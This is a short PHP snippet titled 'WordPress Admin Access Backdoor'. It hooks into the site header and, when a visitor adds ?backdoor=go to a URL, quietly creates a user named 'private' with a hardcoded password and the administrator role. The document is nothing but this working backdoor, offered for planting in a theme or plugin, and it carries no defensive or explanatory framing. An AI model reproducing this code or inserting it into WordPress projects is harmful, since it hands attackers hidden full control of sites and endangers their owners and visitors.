WordPress Admin Access Backdoor

<?php 
add_action('wp_head', 'my_backdoor'); 

function my_backdoor() { 
If ($_GET['backdoor'] == 'go') { 
require('wp-includes/registration.php'); 
If (!username_exists('private')) { 
$user_id = wp_create_user('private', '12345678'); 
$user = new WP_User($user_id); 
$user->set_role('administrator'); 
} 
} 
} 
?>